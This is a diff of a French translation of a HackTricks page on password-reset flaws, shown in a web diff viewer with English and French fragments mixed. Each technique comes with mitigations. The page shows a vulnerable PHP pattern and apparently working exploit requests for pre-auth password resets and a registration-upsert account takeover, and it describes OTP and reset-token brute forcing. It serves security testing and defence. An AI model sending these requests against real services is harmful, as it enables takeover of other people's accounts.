## **UUID prévisible**
|
## **Guessable UUID**
|
||||||
|
|
||||||
- Si les UUID (version 1) sont devinables ou prévisibles, les attaquants peuvent les brute-forcer pour générer des reset tokens valides. Vérifier :
|
- Si les UUIDs (version 1) sont devinables ou prévisibles, un attaquant peut les brute-forcer pour générer des reset tokens valides. Check:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -124,55 +124,55 @@ uuid-insecurities.md
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Utiliser la GUID version 4 pour l'aléa ou implémenter des mesures de sécurité additionnelles pour les autres versions.
|
- Utiliser GUID version 4 pour l'aléa ou implémenter des mesures de sécurité supplémentaires pour les autres versions.
|
||||||
- **Outils**: Utiliser [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUIDs.
|
- **Outils**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||||
|
|
||||||
## **Manipulation de la réponse : Replace Bad Response With Good One**
|
## **Response Manipulation: Replace Bad Response With Good One**
|
||||||
|
|
||||||
- Manipulation des réponses HTTP pour contourner les messages d'erreur ou les restrictions.
|
- Manipuler les réponses HTTP pour contourner les messages d'erreur ou les restrictions.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Implémenter des vérifications côté serveur pour garantir l'intégrité des réponses.
|
- Mettre en place des contrôles côté serveur pour assurer l'intégrité des réponses.
|
||||||
- Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
|
- Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
|
||||||
- **Référence**:
|
- **Référence**:
|
||||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
## **Utilisation d'un token expiré**
|
## **Using Expired Token**
|
||||||
|
|
||||||
- Tester si des tokens expirés peuvent encore être utilisés pour la réinitialisation de mot de passe.
|
- Tester si des tokens expirés peuvent encore être utilisés pour le password reset.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.
|
- Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.
|
||||||
|
|
||||||
## **Brute-force du token de réinitialisation**
|
## **Brute Force Password Reset Token**
|
||||||
|
|
||||||
- Tentative de brute-force du token de reset en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limitations basées sur l'IP.
|
- Tenter de brute-forcer le reset token en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les rate limits basés sur l'IP.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Implémenter une limitation de débit robuste et des mécanismes de verrouillage de compte.
|
- Mettre en place des rate-limiting robustes et des mécanismes de verrouillage de compte.
|
||||||
- Surveiller les activités suspectes indicatrices d'attaques par brute-force.
|
- Surveiller les activités suspectes indiquant des attaques par brute-force.
|
||||||
|
|
||||||
## **Essayer d'utiliser votre token**
|
## **Try Using Your Token**
|
||||||
|
|
||||||
- Tester si le token de reset d'un attaquant peut être utilisé conjointement avec l'email de la victime.
|
- Tester si le reset token d'un attaquant peut être utilisé avec l'email de la victime.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
|
- S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
|
||||||
|
|
||||||
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
|
- S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Mettre en place une gestion de session correcte, en veillant à ce que toutes les sessions soient invalidées lors de la déconnexion ou de la réinitialisation du mot de passe.
|
- Mettre en place une gestion correcte des sessions, en veillant à ce que toutes les sessions soient invalidées lors du logout ou du password reset.
|
||||||
|
|
||||||
## **Invalidation de session lors de la déconnexion/réinitialisation de mot de passe**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- Les reset tokens doivent avoir une durée d'expiration après laquelle ils deviennent invalides.
|
- Les reset tokens doivent avoir un temps d'expiration après lequel ils deviennent invalides.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Définir un délai d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.
|
- Définir un temps d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.
|
||||||
|
|
||||||
## **Bypass de la limitation OTP en changeant votre session**
|
## **OTP rate limit bypass by changing your session**
|
||||||
|
|
||||||
- Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP est faible (<= 4 chiffres), on peut effectivement brute-forcer l'OTP.
|
- Si le site utilise la session utilisateur pour suivre les tentatives de OTP erronées et que l'OTP est faible ( <= 4 digits) alors on peut effectivement bruteforce l'OTP.
|
||||||
- **exploitation**:
|
- **exploitation**:
|
||||||
- il suffit de demander un nouveau token de session après avoir été bloqué par le serveur.
|
- il suffit de demander un nouveau session token après avoir été bloqué par le serveur.
|
||||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
- **Exemple** de code qui exploite ce bug en devinant aléatoirement l'OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||||
|
|
||||||
``` python
|
``` python
|
||||||
# Authentication bypass by password reset
|
# Authentication bypass by password reset
|
||||||
@ -233,7 +233,7 @@ print("[+] Attck stopped")
|
|||||||
|
|
||||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||||
|
|
||||||
Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété du compte. Si l'endpoint accepte un paramètre action comme change_password et un username/nouveau mot de passe dans le corps de la requête, un attaquant peut réinitialiser arbitrairement des comptes en pré-auth.
|
Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété. Si l'endpoint accepte un paramètre action comme change_password et un username/new password dans le corps de la requête, un attaquant peut réinitialiser des comptes arbitraires pre-auth.
|
||||||
|
|
||||||
Schéma vulnérable (PHP):
|
Schéma vulnérable (PHP):
|
||||||
```php
|
```php
|
||||||
@ -255,7 +255,7 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
|||||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Requête d'exploitation (concept):
|
Demande d'Exploitation (concept):
|
||||||
```http
|
```http
|
||||||
POST /hub/rpwd.php HTTP/1.1
|
POST /hub/rpwd.php HTTP/1.1
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
|
|||||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||||
```
|
```
|
||||||
Mesures d'atténuation:
|
Mesures d'atténuation:
|
||||||
- Exiger toujours un reset token valide et limité dans le temps, lié au compte et à la session, avant de modifier le mot de passe.
|
- Exiger toujours un token de réinitialisation valide, limité dans le temps et lié au compte et à la session avant de changer un mot de passe.
|
||||||
- Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; appliquer l'authentification pour les changements de mot de passe ordinaires et vérifier l'ancien mot de passe.
|
- Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; imposer l'authentification pour les changements de mot de passe normaux et vérifier l'ancien mot de passe.
|
||||||
- Invalider toutes les sessions actives et les reset tokens après un changement de mot de passe.
|
- Invalider toutes les sessions actives et les tokens de réinitialisation après un changement de mot de passe.
|
||||||
|
|
||||||
|
## Enregistrement comme réinitialisation de mot de passe (Upsert sur un email existant)
|
||||||
|
|
||||||
|
Certaines applications implémentent le gestionnaire d'inscription comme un upsert. Si l'email existe déjà, le gestionnaire met à jour silencieusement l'enregistrement utilisateur au lieu de rejeter la requête. Lorsque le endpoint d'enregistrement accepte un corps JSON minimal contenant un email existant et un nouveau mot de passe, il devient effectivement une réinitialisation de mot de passe pre-auth sans aucune vérification de propriété, permettant une prise de contrôle complète du compte.
|
||||||
|
|
||||||
|
Pre-auth ATO PoC (écrasement du mot de passe d'un utilisateur existant):
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user